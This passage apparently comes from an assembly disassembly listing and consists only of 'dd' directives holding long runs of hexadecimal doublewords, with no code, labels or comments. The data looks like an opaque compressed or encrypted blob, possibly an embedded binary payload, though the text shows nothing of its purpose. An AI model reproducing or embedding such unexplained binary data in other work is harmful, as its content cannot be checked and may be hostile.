		dd 9B619400h, 353C9D8Fh, 6E0F0EBEh, 0CD62C514h,	7D618183h
		dd 0E532F456h, 5101F900h, 7EAB439Bh, 30AD007Dh,	0CD3DB57Ah
		dd 0FCEFA1C5h, 200FD7Ch, 5040D93Ah, 0E2BC5Dh, 795ADB49h
		dd 41921D19h, 0C11CFE00h, 379E3555h, 87C500E1h,	0DDCCB50Fh
		dd 0CFECC480h, 5B641000h, 8FAD392Eh, 6E780034h,	117CD81h
		dd 0A0003F9Bh, 0A4CF3D20h, 0F5F1638h, 24854F61h, 80768Ah
		dd 25436B89h, 0AB0A2821h, 0E07C928Bh, 977A7300h, 727F1BF6h
		dd 0C4520575h, 80A66CB0h, 0E8B4A166h, 0BC994800h, 0AD54E7B2h
		dd 0CAD10F6Bh, 809F5695h, 3F246490h, 161D3288h,	0C1406372h
		dd 0D9F24EF1h, 0B8900023h, 0B7CCAD34h, 0D00227D6h, 864AD82Eh
		dd 36C8830Dh, 47DDD83Eh, 0DC3A009Ah, 70C84E91h,	0E21F4455h
		dd 2E80EAD2h, 761C8681h, 537900E5h, 2C36A7D8h, 0B0009624h
		dd 0B85BBF2Bh, 3AD8B03h, 2759C267h, 1298E24Dh, 0D00072D6h
		dd 2890C2Ch, 9A904Eh, 33D250DAh, 0BAB07A47h, 2E7DF700h
		dd 2D86FB31h, 3D04035Ch, 0ED420AF3h, 53E2ABC0h,	0FEBD0100h
		dd 0EE493CBCh, 4B12007Fh, 3D0B0555h, 0E300F617h, 9AE99133h
		dd 4C734E5Ch, 0AF3EC510h, 9F8C4487h, 0BAD8A065h, 0CA006D9Bh
		dd 5E23A38Fh, 0A3A24A7h, 45294E99h, 0D2AF0087h,	3105F320h
		dd 89F38h, 4AE7FDCFh, 0C51BBBh,	170FE2Ah, 747BE3Ch, 7431031Eh
		dd 5872A63Eh, 5C004C13h, 2D5DEEA5h, 0C9B88Dh, 2CA134B9h
		dd 5BE62197h, 0EC0D7000h, 0CA207716h, 94690002h, 8C251858h
		dd 0FD00E322h, 0CEBA7CA5h, 0E2D04E0Bh, 0B8CC4E3Eh, 8BAF00B1h
		dd 74F7E827h, 382D01A2h, 0DB3525A0h, 0F24BE806h, 5B2BF13h
		dd 2326F300h, 76AD85h, 0BDD02EC4h, 5CBB9E14h, 29ACEA50h
		dd 3AE5D3Ch, 8C1A8704h,	0CBA99E2h, 83ADD4h, 1BFBD3A0h
		dd 6532337Dh, 0A3730D00h, 5412EC05h, 524B0025h,	4A440C82h
		dd 560143DBh, 7EBFAC3h,	6530FB9Bh, 0DFE60097h, 0C2753A90h
		dd 2798A140h
		dd 84E5Ch, 89D6E9EBh, 0AEDAA8h,	0D9C41ABFh, 56469C45h
		dd 0A60E38h, 0DD612F8Ah, 0BE808Bh, 2C557E14h, 0F6C4A90Ah
		dd 0FE059600h, 0D8100F27h, 451C39B2h, 42BC2887h, 12D070CAh
		dd 0EC3ECBFDh, 0A26680B3h, 81D45BD5h, 89F013A6h, 0C1A307D3h
		dd 0CD6AE029h, 9D0001D9h, 5EF3ADDh, 131EBC7Ch, 0F9E3E4h
		dd 0E08429FFh, 41C13CFh, 0AF00B7BDh, 0D7A956Ah,	2B72035Ah
		dd 45E91B86h, 0C010B0D1h, 0FE7FF753h, 0D03FF209h, 0D180A0A7h
		dd 0C0CD5Bh, 2C4F0B99h,	154019B5h, 7100A474h, 2769D672h
		dd 1E4BCFB4h, 5E1DB96Ch, 0C90C40E5h, 93127E42h,	2A73EF2Eh
		dd 4700C71Fh, 0D52B6A1Ch, 5AE3171Dh, 448E00D0h,	6F2853A3h
		dd 6E9BE600h, 0D12ECD5Ch, 4FF000F6h, 0A451E3E1h, 58001006h
		dd 39E58470h, 0F2EE6Eh,	0E2DD858Dh, 0BEA24F5Bh,	0FA0EE975h
		dd 0E0A1EF66h, 894B4D82h, 8D270743h, 0E3BDAD9Ch, 819078C1h
		dd 0BAFE3E21h, 2FF9CF00h, 821E92FCh, 4C49020Dh,	50C4E9AEh
		dd 4E9DF4E0h, 5B046800h, 9254DFC5h, 328F0076h, 0CF9FC107h
		dd 31001A55h, 0EBD10208h, 1428810h, 61E103E4h, 0F7180CF0h
		dd 0E20589E0h, 59ACC60Fh, 6A94036h, 2988AE5h, 2E01AE3h
		dd 98605E94h, 9126DDFFh, 0B9003384h, 0B252637Bh, 0FF801DCh
		dd 38D1C68Eh, 5A48302Bh, 83920A03h, 99D8F17Fh, 12E43090h
		dd 626503C1h, 0DCC7AEF2h, 7C6DD087h, 4013F23h, 0AB712F07h
		dd 0A0E74168h, 0F4A99B3Ah, 0D1180090h, 2A6D159Ah, 0F3398921h
		dd 533784B7h, 0C0D08839h, 7BC005F4h, 17F12E25h,	69161Ch
		dd 60A1BA14h, 87066A24h, 0E5901C5h, 2FC21630h, 26240350h
		dd 0B9F0AA2Ah, 9F0001BEh, 54B20385h, 1C8B3BBFh,	806E8EBCh
		dd 9DC6CB2Fh, 0E30089B8h, 0A112F4AFh, 182495D6h, 68815416h
		dd 0ED0062DAh, 80275C7Fh, 84869h, 55AEB3B5h, 2896E439h
		dd 8E600503h, 7F43A55Eh, 0BC8C0081h, 9FFFE83Dh,	0E8C05591h
		dd 0D748FA9Bh, 8EA1000Fh, 4104D5F6h, 0E500FDF4h, 3C5BE39Eh
		dd 0F51DAh, 0AE5862AFh,	0FD49BE28h, 0A8B19900h,	595E684Ch
		dd 0BFA34C65h, 40D41E03h, 7BD01C19h, 0CE4C96C5h, 0AFB200E1h
		dd 835C213Ch, 4DD900E5h, 5D3F022h, 0B84C9CE7h, 62DC00C4h
		dd 5DB4F36Ah, 27C5254Ah, 0FF043428h, 70713900h,	0BE74ACh
		dd 0C13A3F85h, 98667ABBh, 682AEB76h, 0BE24A88Dh, 330121B4h
		dd 644E0C46h, 1A577D30h, 1892F866h, 74483434h, 0A04C421Ch
		dd 199F4A9h, 712733B7h,	0E8F568D7h, 0A4039558h,	2DD8143Ah
		dd 0D16E06Fh, 7A19C2AAh, 0CC22E7C4h, 4E188292h,	9CEC100Bh
		dd 0A362884h, 1F35080Ch, 620851DEh, 0C4634745h,	28DE47DDh
		dd 0C7458F68h, 1DCA14F1h, 8A5B2118h, 60C1306h, 79D62C8Ch
		dd 23E9A21h, 5216CF88h,	48453205h, 18052BF1h, 247940AEh
		dd 6C410FD5h, 5440A26Ah, 0CAAC7A1Fh, 0BC542619h, 3B7820A8h
		dd 3B445052h, 55DCDA22h, 99D218D6h, 6C52029Ch, 0FECC985Dh
		dd 1BD98012h, 33496511h, 4C0CF12Ah, 57325055h, 0B4A09D18h
		dd 81D6CABh, 1B098512h,	32B0C0C0h, 16EAEEC5h, 1F68543Bh
		dd 9B534013h, 0CBA1B474h, 470001F0h, 0F2356CFBh, 0EC7D1840h
		dd 0E8968Dh, 0A4465C26h, 0F0903169h, 606A0C00h,	802EBCC6h
		dd 0E3230065h, 0FC91A893h, 0D002048h, 5FFF2796h, 3C6149A1h
		dd 0A4A85A0Eh, 0FAC03DA4h, 54648D04h, 30608009h, 0AD637E94h
		dd 0E3C3A888h, 25A800D4h, 0D69BAEA9h, 2C1DBFDDh, 31C5AB21h
		dd 1C2A0E58h, 9F2C0173h, 0F90E29A7h, 0BFB18094h, 24EC699Ah
		dd 0A8710CDAh, 9B5051EFh, 0D2E68600h, 0B77BA4F7h, 5A58C0EEh
		dd 0E01E8D1Ch, 0C28B400h, 0E6BC9FFBh, 32F1F72h,	40F8D21Bh
		dd 4F0A1A28h, 0CC92CC6Fh, 27B4CD00h, 2AF046AAh,	29FA6061h
		dd 0D2E801B0h, 94DD410Ch, 767169CAh, 0DE3B008Ah, 8257A289h
		dd 0AF0016C1h, 33E7C7F5h, 506E0EB6h, 8BE811h, 874AF1D2h
		dd 26FB068Fh, 1900F0FCh, 0FDAFF5Bh, 0C0B66BEAh,	28822B8h
		dd 0A82A4B29h, 0C90E9CB3h, 80AE18CCh, 5B4CC431h, 11A918E5h
		dd 0D74168CEh, 9014C98h, 4586088Dh, 5F0D9FEh, 0DC26F214h
		dd 80EAD8D0h, 26878852h, 6C7C0221h, 0C880DBACh,	0B9CC0192h
		dd 0EAF2709Ah, 0B2861D00h, 0E035C6EDh, 0E7498D3h, 0A799839Bh
		dd 480C9120h, 0B460ABB3h, 942AECF0h, 9788C0A8h,	0AFA40328h
		dd 0ECEB3174h, 0D1F8DA0Dh, 93BF2F03h, 0BAD7C184h, 0DE5C40D2h
		dd 0F20CB2FDh, 65091CF0h, 76290046h, 6718E151h,	0F11C3Eh
		dd 1ABA1099h, 0AECC84DEh, 69780284h, 0C4E4E89Fh, 0ABFBECC8h
		dd 10280E0Eh, 42F40053h, 0D509B6h, 27D16178h, 4AA46D85h
		dd 0BBBF7100h, 68E5EDA1h, 7BB20089h, 0B6F1AE94h, 0EE7448F4h
		dd 540F6AB8h, 80ADC59Eh, 7840E376h, 0A541079Bh,	335F37Bh
		dd 0D781E550h, 0EBC16079h, 0F1189F73h, 5440EF86h, 2337392Dh
		dd 500E0F79h, 4809D4Ch,	704585C8h, 924ECC03h, 0E1797FD2h
		dd 83E073ADh, 61410F94h, 95E0E36Fh, 0B330AA87h,	457378C0h
		dd 648AEh, 74DB11ACh, 0FAFCE3Fh, 0CB6C43Fh, 0A0AE81A7h
		dd 61D24033h, 0FAACB500h, 0B868F67Fh, 264C3C2Ch, 62C4F183h
		dd 4C85167h, 0F307E859h, 0BF0329BEh, 6D00D587h,	1D714FE2h
		dd 462A5B5Eh, 0E879DEE1h, 512F1B18h, 15E2CAB0h,	30F21426h
		dd 0DD5AB5C1h, 0F9C41C46h, 0E77DC840h, 68DF0045h, 399704AEh
		dd 0EC07545Dh, 0B005B46Ch, 0A184F3B0h, 0EEDA00CAh, 3792DB36h
		dd 447BA27Fh, 36F038D7h, 3C6F4CEh, 483CD1F5h, 0CDA1526Dh
		dd 0A708009h, 311C86C7h, 75B4014Ch, 0A58A4DEBh,	0B5B1DC3Dh
		dd 12FC4238h, 8004807h,	0B6211E18h, 0DEAF0029h,	5DCF2DFh
		dd 0BD746C61h, 0E0E00930h, 0EA2F22E9h, 0E2DB001Dh, 632B4E59h
		dd 1C00B2F6h, 8AD6D542h, 90DCC89h, 0E1A2E530h, 3C0E3402h
		dd 0D4794449h, 0A0C05699h, 0FC1FB4E3h, 69F8C05Eh, 5C8551F7h
		dd 0EB605091h, 0E5DD996h, 7EB64951h, 365E9118h,	0F5809B09h
		dd 0D510019Eh, 44D06AE6h, 94290022h, 0FDC92BE4h, 0A1004EBFh
		dd 17600586h, 0A42FE0h,	9A3B27F4h, 8AF6957Bh, 0DD529F03h
		dd 0D0621856h, 7D5C0690h, 263800D8h, 3B97288h, 0A300C625h
		dd 0B897B2D5h, 9EDD51h,	6342AC0Eh, 0E229B5BDh, 746DF303h
		dd 884B3DEBh, 0E5CA9D6h, 69429259h, 5000DB2Fh, 5BF9E7A8h
		dd 8BD83Ch, 5EAAA72Dh, 6554A99h, 0DFC265CEh, 33008001h
		dd 0F24BB869h, 1E738F5h, 1DA5BB59h, 406A2F81h, 0DC45EA18h
		dd 5D5A50C3h, 246900FFh, 1DA1A3C4h, 6800B5ACh, 963C121Ah
		dd 0FFE20Bh, 65CBD9D1h,	790D01A5h, 0E51D6200h, 423EF98Dh
		dd 0B7C10099h, 0BBA78076h, 6807C478h, 0CE1703BDh, 3C110E06h
		dd 0F108DC5Bh, 3061B5EEh, 8508B670h, 0F1F45700h, 9AA3BC60h
		dd 0AA343ADAh, 5D064D4Ch, 60C03F08h, 0B20038EAh, 0B55C4E09h
		dd 0E5BB966h, 3EE2B19Ah, 14E77F60h, 0ACF418D3h,	9987BB3Ch
		dd 0F578E51Ah, 0DA600447h, 1FC7E01Dh, 0F47D90h,	0C94D907h
		dd 0FE004E14h, 51ADDB9h, 66A8459Ch, 810F1843h, 6FE56B01h
		dd 0EFD92C0Eh, 3D8BE8h,	0FE49B557h, 0F775658Eh,	0E821148h
		dd 80719322h, 0E1091B17h, 772A7421h, 0DA88CB59h, 0A5B2B620h
		dd 9F3FB990h, 4BEA00D9h, 34C6A411h, 0B0C8ABC7h,	37FCAF8h
		dd 0A3B49073h, 48B8EA81h, 0AF3EE210h, 0A75780A2h, 0F932F543h
		dd 0DCAC48C3h, 0B28BD28h, 60A75077h, 238A3703h,	8E5390C0h
		dd 0F67D8804h, 28ECDF6Ch
		dd 6AF7D502h, 30A27EDDh, 0A0A2747Ch, 4880F511h,	8199F23Ah
		dd 436AB3Ah, 2354227Bh,	7EE59B00h, 28540869h, 6700AF98h
		dd 0C6861E2Dh, 4EC27A4h, 1FD75898h, 0BB1090FEh,	21008456h
		dd 0E0315E10h, 0E47D559Fh, 0BD0D021Ah, 0DB967214h, 7EB53C48h
		dd 0BF61060Eh, 0AB506085h, 0B9C8CEh, 0A73CEFFAh, 0CB463A4Eh
		dd 1B2F0C07h, 9410FF82h, 9334023h, 7E938B98h, 6678798Ch
		dd 0D868918h, 0BEEDA9h,	7F05C904h, 1219AAEAh, 46EF151Dh
		dd 51F0BB00h, 1EA2ACh, 27CD73FEh, 35C7AD20h, 1F00BC7Ah
		dd 0F19E317Ah, 18EC6892h, 594A4530h, 0D0A4660Fh, 53BF3603h
		dd 0B2464034h, 9C19C1F3h, 0BACE20h, 9F04FCC9h, 767F0EE0h
		dd 0DB75D700h, 238D7D41h, 8040E92Ch, 60ECFF3Ch,	3E2FC07Fh
		dd 11888C2Dh, 0F94E00Ah, 4E023667h, 0E25B6880h,	9D00A4B0h
		dd 0E0B21F75h, 6760ACh,	6DE6B199h, 0C4BF2625h, 79D21600h
		dd 1548AB0Eh, 402E0A24h, 0D8041FACh, 7B00B14Ah,	0BC397FE7h
		dd 39416E02h, 2D3050DAh, 0F6A3FF20h, 4911D400h,	15CB32DDh
		dd 47B10438h, 0C0AC36B4h, 0C5AEC995h, 0D5271C00h, 0BBD79911h
		dd 16100CFh, 4550F793h,	1D18D3EAh, 4C99281Ch, 994F009Bh
		dd 916905A6h, 6B743CB0h, 6C21F960h, 0E59686h, 0D7B88A04h
		dd 1A07CC17h, 502D9A32h, 6F0DE157h, 0A44EC880h,	0CF75ECD7h
		dd 7B6EA207h, 0ED438147h, 7F200033h, 8959A693h,	300C8E3h
		dd 0C30D61EAh, 28E1E2FAh, 107CBAC7h, 9CB54799h,	10ABC880h
		dd 8444AAC1h, 3CBE3A1Fh, 0C6E0B880h, 359F80h, 8C6F1DFBh
		dd 8A10D7E8h, 6986CA00h, 2B56D154h, 241A0073h, 0A964D3C2h
		dd 7EE926Dh, 5AABC900h,	0CA4079D1h, 44F7032Ah, 0B056E3EFh
		dd 667B9188h, 72240701h, 0E9402B92h, 3AA1270h, 0BC7CD553h
		dd 31A3D78Ah, 0D4602100h, 15C2302Ah, 0BDA80778h, 0F0229EF0h
		dd 478F3586h, 0B0FDBC00h, 0FE979590h, 60190024h, 7DD8752Dh
		dd 3D1FC20Bh, 5100E5E1h, 6DA02764h, 0EFDF1DA6h,	132D8077h
		dd 0C2679502h, 34FA9F00h, 2B9103E1h, 0A1212BE6h, 613DE454h
		dd 57304D68h, 703F00A4h, 0F1C271B2h, 78C01E85h,	0AFFF93CEh
		dd 7E9A007Ah, 1D2341F4h, 2503EAA9h, 68B5B99h, 0D3510147h
		dd 2D96B25Ch, 0A83BE874h, 220F4577h, 0A7196EA0h, 38738977h
		dd 7E31076Dh, 40DCB3D6h, 3D987A42h, 0AB851018h,	0F2D13FC1h
		dd 0D33C008Dh, 0E125D206h, 0C8003446h, 976A1CA4h, 0C06EBF0Ah
		dd 21810760h, 6438F4B1h, 82031E50h, 0AA77FE00h,	0B493E1h
		dd 7F862315h, 45C2975Eh, 6B38E718h, 0C5B8C089h,	3215848h
		dd 0EC3A0A4h, 0F560CDB0h, 59414D00h, 0D4EF165Ch, 8D310052h
		dd 3E783DBCh, 8F05939Fh, 58CC0A15h, 0EFB6980Eh,	3481E33Bh
		dd 212DE119h, 0D5F51880h, 605F99E3h, 0EB2F0300h, 773CF881h
		dd 3D0C26A6h, 8FFA0273h, 80A0558Ah, 0BB14F5D6h,	45E19600h
		dd 502BEC64h, 0B6E81D60h, 0A8403C4h, 6000083Ch,	0E4F78D53h
		dd 42362Dh, 0ECA47E17h,	3B07CEBBh, 9FE91860h, 0E8388882h
		dd 29D91D45h, 788F0F9Eh, 10977BE2h, 0E4021C46h,	8BAADFF3h
		dd 24071AD7h, 2729B007h, 7100D332h, 8CED250Dh, 0A9C828h
		dd 877BC0Ch, 0DD9EE9E7h, 4648548h, 0CE8B20CDh, 0DFB60C90h
		dd 0AD681E38h, 3D28404Bh, 1C2F7C6Ch, 4B417026h,	538BDF00h
		dd 3DFD79F0h, 0CC5458C1h, 0B1FB004Dh, 0C25554CCh, 0A904193Eh
		dd 0A170BD23h, 0CB330480h, 7EB100B2h, 721AEB1Dh, 2479F18Fh
		dd 9B005570h, 90C94610h, 1F7EC8C4h, 8FEA1C2Bh, 3BA0DE9Fh
		dd 3CFD762Ah, 7861B603h, 80CF87F8h, 0E07B9341h,	190A634h
		dd 0ADB6254Fh, 874CC03h, 0DAD2881Fh, 0FB292A3Ah, 20E11E00h
		dd 9C49C6DDh, 17AEAF7h,	0ACDA6F21h, 0DAA2AED4h,	77A44468h
		dd 0D29DE800h, 1D5F7FFFh, 24347C8Ch, 3954A5Bh, 18ECF363h
		dd 6AEF1B8h, 2E6D9D00h,	610DA9CCh, 771B3E28h, 43E91000h
		dd 9BD13915h, 936FF607h, 59003758h, 7B73BAh, 615360E0h
		dd 48EE7697h, 30031B00h, 435820ADh, 0BAB21714h,	80431C13h
		dd 8DA8CB2Fh, 0C2600F7Eh, 43BB0D10h, 817B03F2h,	0AAE2FE23h
		dd 0CD780800h, 0EA222F3Fh, 0FACA047Ch, 8019EC63h, 589CCFA3h
		dd 7899BC30h, 0FCE2C4EEh, 767BCAh, 0C56921B9h, 0F6B85906h
		dd 17000870h, 0B230E350h, 0B1F432h, 0E0AA0734h,	0B3AB9D75h
		dd 8082363Dh, 0C761644Eh, 1B72E29h, 5CF72D0h, 80D2DDEAh
		dd 0B2AB62D0h, 1F4851h,	29E9F0EFh, 68077FDFh, 61ACBF03h
		dd 6D22F4Bh, 0EFA32B72h, 0D30038DDh, 33B12363h,	317B1275h
		dd 0C208F1EDh, 422080A8h, 1B8523F0h, 4C1F0039h,	875AA376h
		dd 3278C1D1h, 0CE754000h, 0CDAFE10Fh, 8EC536ECh, 0CA0AB838h
		dd 84A6C1B6h, 0FE002C1Ch, 414AEA18h, 0F20C0ACh,	1DF601B1h
		dd 0D4502800h, 53BBC45Bh, 0BF180751h, 0B561A36h, 75251700h
		dd 8E013B3Fh, 68F6704Ah, 6982924Fh, 0FCA5C56Fh,	679C6B60h
		dd 26873415h, 0A8070A90h, 1CC0E866h, 461086CEh,	62FA4CA9h
		dd 0FF636D20h, 0DF90E963h, 9245116h, 803D2C6Eh,	6552672Eh
		dd 0B680BAh, 8F7434FEh,	23BDF232h, 6D36B900h, 625673D0h
		dd 68CB00ADh, 0C749748Dh, 6302DEAEh, 727AF2B0h,	80774244h
		dd 52E96D3Ch, 0C61E438h, 18E73E17h, 0EC074118h,	0BECA0E33h
		dd 66123670h, 33890D4h,	60B628CDh, 0C1E852F6h, 0D066215Fh
		dd 4451A0h, 0E15DBEBCh,	0BEE5226h, 5AC6BA00h, 87AA1367h
		dd 3FA3F814h, 0FDFAEB39h, 0F25DC840h, 3A04846Ah, 101D6E79h
		dd 80BF6C61h, 2CDA4588h, 82A818h, 0F437B32h, 957F3472h
		dd 779084F3h, 5507C67Ch, 3FC42153h, 0AD07F0A4h,	1BF119C0h
		dd 0D708E6h, 0A0ACC8DFh, 0F2D9BCAh, 8FA7AB0Dh, 4C40E8E5h
		dd 8FD5C67h, 7DE91986h,	0BA1542h, 4C236A4Eh, 0F9BEC900h
		dd 4F45EBFCh, 0A45E48B3h, 0E0302804h, 537F0008h, 8FB590h
		dd 0E659B797h, 12A76A56h, 0E3B97C01h, 9ED03908h, 0D6B35980h
		dd 40750EA4h, 96A09972h, 0E430F2C8h, 4BB39836h,	25440BECh
		dd 288160E3h, 0C80D17D2h, 2B782688h, 0AD4ECA18h, 0CE86F879h
		dd 96050939h, 8E704082h, 1B744623h, 10609C71h, 0B9D5ED09h
		dd 67B4004Ah, 0EE21E4ADh, 3500FFA8h, 896E2DAEh,	2C1950h
		dd 85C08E33h, 0E6320FE3h, 87C29B3Fh, 0BA4AB657h, 1F67D620h
		dd 0DCBD00D2h, 0FF72EDB1h, 6E88808h, 9E0A7001h,	0EE1767AAh
		dd 69C112F1h, 77135A30h, 4B2500D4h, 49C3E203h, 51C050C2h
		dd 46EE1C3Ch, 1B37FA9h,	1552B80Fh, 0BABC2B07h, 0E95B0020h
		dd 0BE269187h, 9B06007Ch, 789CCE49h, 38600CAFh,	5BB7D048h
		dd 1857005Eh, 0DCE30112h, 9A0FE0DBh, 98DA3E6Bh,	0BBAF70h
		dd 0E5E8088Ch, 3FEAB9DCh, 0F7102400h, 588C9CCh,	0BC08CFCDh
		dd 868A20F8h, 0B433FD00h, 0A8D9B1C5h, 91DF00E8h, 97EEF661h
		dd 0E10A3AECh, 68CFCBC3h, 0A4A700BAh, 0E8BC9BE4h, 0BB3089B7h
		dd 0EB990021h, 0CDB47AD4h, 0E54E00B5h, 81E2C7D1h, 3760CAA7h
		dd 591AF629h, 7897F4Fh,	0BC5D7FFDh, 0A563F1CFh,	28A1B4BEh
		dd 0CA130421h, 7AF58503h, 3008680Ch, 5872E5D0h,	6401C169h
		dd 0C3CCFD4Eh, 781C2029h, 58313BF8h, 67AF1963h,	4322B408h
		dd 2A1B2139h, 18503C0Ah, 0BFD19304h, 66DA0D42h,	108C3F22h
		dd 43846DB0h, 0DA2C14D7h, 84E3210Ch, 456212D3h,	24051C3Bh
		dd 0C042392h, 0C9212C27h, 335441A8h, 30D1091Bh,	0A15F4842h
		dd 67FCE724h, 7900CB13h
		dd 6FB4A74h, 1D30DCD2h,	81C9C491h, 0F31D1BB8h, 37A8404Bh
		dd 0DF03CFA4h, 10146C93h, 0A7BB921Ah, 3FA04BB8h, 3A5B4019h
		dd 0C98CB531h, 0A4384C1Dh, 6454AB02h, 40C8879Dh, 0E23796ECh
		dd 7DDF24C3h, 694500B8h, 0CA39BA46h, 12C9ED00h,	0A6BF3F2h
		dd 0D2FF26BDh, 0D1CC0EB0h, 13AC2A80h, 112CC3C4h, 0E600800Bh
		dd 7633CDEBh, 5240774Bh, 0B0074C95h, 6F6A780Dh,	0E9472A00h
		dd 3700E849h, 60C5B7C9h, 7F74E3Ah, 0FE67E6EAh, 5A88807Fh
		dd 0E87813B0h, 77A06413h, 0CB064800h, 3FC9C2A6h, 78808F25h
		dd 0F08D6C0Ah, 805604C3h, 1562101Ch, 0C8A7ACF0h, 541C6B1Eh
		dd 8EE887FFh, 0E641C3CFh, 0C04AEF89h, 0F17E9F80h, 101AEFCh
		dd 549438E4h, 0CCDD1967h, 4FB2997h, 8011D2EAh, 28ED4F8h
		dd 123E5600h, 0F807E0A6h, 14ACE89Fh, 5C669552h,	0C2E44B80h
		dd 0D21E2B04h, 0B48386EBh, 0A0B61BDEh, 44FD58h,	0C6A4E256h
		dd 77B337A6h, 0A501B97Fh, 0DFF7536Fh, 832C3E3h,	7F4F6602h
		dd 3C419876h, 9110203Ah, 1258CB3Eh, 0D4207924h,	7DF182h
		dd 86DD44EFh, 919B993Ah, 0EA3E550Ah, 115E58A5h,	0A8E5693Bh
		dd 0A03EFC94h, 2642684Ch, 0DCB44Dh, 8F6C0421h, 0C50095EAh
		dd 418140AAh, 6DBFE2h, 344D83C6h, 3FDE1131h, 4E1ACA03h
		dd 89C9B4h, 2EEB7941h, 5D83FE8Fh, 30A88831h, 81F4E55Eh
		dd 777E08h, 6393E23Fh, 6A8ECC03h, 9E751401h, 0B35BEC5Dh
		dd 0EBBF8040h, 23FD0388h, 38DD9368h, 833D43F9h,	5A94E430h
		dd 20712684h, 769A0150h, 605390E8h, 750C3D70h, 0D0BDFDFCh
		dd 188C74CDh, 10A859E1h, 0C569274Dh, 40B282C8h,	0CB9DC57h
		dd 9220B3A6h, 10A55A1Ch, 80E3C10Ah, 0E0DDFE1Eh,	0C0C8F6CEh
		dd 42843FF8h, 0BBA50F22h, 610F8E83h, 0ED50C380h, 3105F33Ch
		dd 40C1D5DDh, 298AC76h,	0D898DC91h, 84875F26h, 883940DFh
		dd 8003D4D1h, 223D415Dh, 0E0A2C09Eh, 0DC033F24h, 0D566D982h
		dd 44BF721Fh, 84E7858Ah, 0D9A88980h, 0F4C2994Ah, 8BF8381Dh
		dd 7BD41203h, 70C072BBh, 0DB008660h, 0A45E7573h, 3FEAC219h
		dd 9280BAC0h, 8EF2D72Eh, 0D5074546h, 0ED414871h, 40DB8042h
		dd 0DCCB08h, 77C559EEh,	0A81C88E3h, 460AE6E0h, 0D071E46Bh
		dd 0FBD84D80h, 149888EEh, 9422A9D6h, 74780A71h,	0E084D0F0h
		dd 20129C9Ah, 18634B14h, 0DA101A0h, 0F6FCF485h,	3F10EC4h
		dd 15CFCEF5h, 44801DB4h, 851E6940h, 0DB5C3F42h,	1605F73Eh
		dd 8C37F643h, 0DCF28C07h, 0FBC3B540h, 0AD7EC2h,	0EFF52212h
		dd 0C095F87h, 4490D0A4h, 14FB5E00h, 51D31FA0h, 5E649185h
		dd 0A8E7D901h, 0C4577589h, 1FE639C0h, 40E0715Bh, 0E3B2CF7Dh
		dd 6900DCC1h, 469ADBA3h, 7C66D8A1h, 0C704897h, 5EF700ABh
		dd 1F796955h, 0B850128Ch, 0C60440D3h, 0C0A27A99h, 6DC971Eh
		dd 0AEFCE394h, 84D94E00h, 0D3DA4C63h, 1F43253h,	0F8338173h
		dd 804F7286h, 4E9F8402h, 4497F5DAh, 79E5350Ch, 0E9E701CAh
		dd 0BC63C3B2h, 55C4589Ah, 1790FD52h, 6A4415D7h,	74C011F7h
		dd 0F0CBAE42h, 111E637Fh, 6CC2B269h, 8C302011h,	507B6FE1h
		dd 250A100h, 11C178A5h,	3601A959h, 2AF95184h, 833CC7DBh
		dd 5DF85CC8h, 7D009361h, 0C1B1C07Bh, 240F2678h,	47404F95h
		dd 0D35AB03Eh, 140082E5h, 0A5C47CA6h, 30C81Bh, 0FEB45C6Fh
		dd 757DC632h, 2A8B7B58h, 40489CB2h, 882090Ch, 897C010Eh
		dd 40928165h, 205C0099h, 74DC0C12h, 73110090h, 2E2858B8h
		dd 0FE6026ACh, 5D5F80F8h, 0D56588DDh, 9720A0C4h, 32E4F901h
		dd 5001E56Dh, 0F68D60E4h, 0BE906E54h, 0CE90AF49h, 33B140C2h
		dd 689A0A8Ch, 9E3980Ch,	4C287F44h, 16E360DCh, 4F00EBF5h
		dd 4526BB5Ah, 126B3059h, 0A06B02Ch, 87ACA6DCh, 502813BEh
		dd 88D948CCh, 8EB9690Ch, 58C069A3h, 440000C1h, 0ED6B4C5Ch
		dd 3B0171CAh, 80253AD2h, 0DFE19858h, 0F7086FCh,	887497B5h
		dd 16227B60h, 0B10394FEh, 0C030D69Ch, 6E5DC071h, 68C609C7h
		dd 6281E45Fh, 0D00DB4BCh, 0BA008D04h, 0F863F028h, 43D427h
		dd 0FD0A5C51h, 0D11578ADh, 6E9E5F00h, 4DFECF02h, 39490045h
		dd 2FB8890Bh, 0D900593Bh, 70B72CA2h, 1A6D893h, 0EBA59FF5h
		dd 249B6299h, 4503222Ch, 371C8E30h, 0D1238350h,	4EE8B541h
		dd 0E9ED26B9h, 0AE86007Ah, 56B7B3BEh, 0E417A700h, 521E3E7Fh
		dd 1076008Ch, 93D797FAh, 450E9EE2h, 1E31CC5h, 3D4CFB7Bh
		dd 610370h, 1766575Eh, 0F52BFF62h, 0D7D4C40Eh, 0DC5C9DB5h
		dd 201AE74Fh, 0A7FAD3A8h, 9AE400E8h, 954CC627h,	0C3E2D21Fh
		dd 0D398BD1Eh, 0FF435A05h, 0C5541800h, 76686D9h, 51DF0D1Fh
		dd 4FAA608Eh, 3E009A75h, 0C5DA437h, 28B16DAh, 0E4912C26h
		dd 3F009930h, 6567D019h, 33D69CAh, 26FCFD18h, 9F313FFAh
		dd 58881459h, 76442523h, 8815FF06h, 9438A32h, 0E130BB09h
		dd 1C489115h, 0E68D3E5Fh, 2973CA1Dh, 682BC364h,	0BF1C20CDh
		dd 6610DED1h, 0A574606Ah, 4B560838h, 1EC345EEh,	20E36860h
		dd 7F108C3Fh, 5601E68Ah, 0C14A67D5h, 149C5AD4h,	0C2508C96h
		dd 9CE641DFh, 0AB70C784h, 3FC79854h, 240A0A18h,	7D76E230h
		dd 68A99F38h, 0E53031E3h, 0E0685FDBh, 27C9FF03h, 0DD96AA4Dh
		dd 0D2999802h, 42D4B467h, 0A2887FDEh, 4A4C01E8h, 0EA66E5A8h
		dd 6A8C4211h, 0A3297094h, 0BF8C401Ah, 626A388Dh, 0B02A48EBh
		dd 0B185E08Eh, 37AC04D1h, 0A1C9ADBh, 289059C6h,	80E16A4Eh
		dd 807CA8DAh, 1877FC0h,	930A304Dh, 0DF21CA80h, 181F70DCh
		dd 17521D3Ch, 58F14A1Eh, 22566Ah, 68E93054h, 5C9871C1h
		dd 3FC3DF03h, 0DCDA53A9h, 99C0D00Ah, 800EF9CFh,	0DA905619h
		dd 269D21B5h, 4071C6h, 0CA42AF9Ah, 5E001B79h, 6BF93544h
		dd 1F39D02h, 0F6906419h, 0F4A283A1h, 0F70EFE88h, 95F1F515h
		dd 6A65C724h, 30624A32h, 76801493h, 0F7FB0ACBh,	0E2402075h
		dd 0D410F441h, 339D0001h, 75DAA080h, 28051B47h,	0A15E0D39h
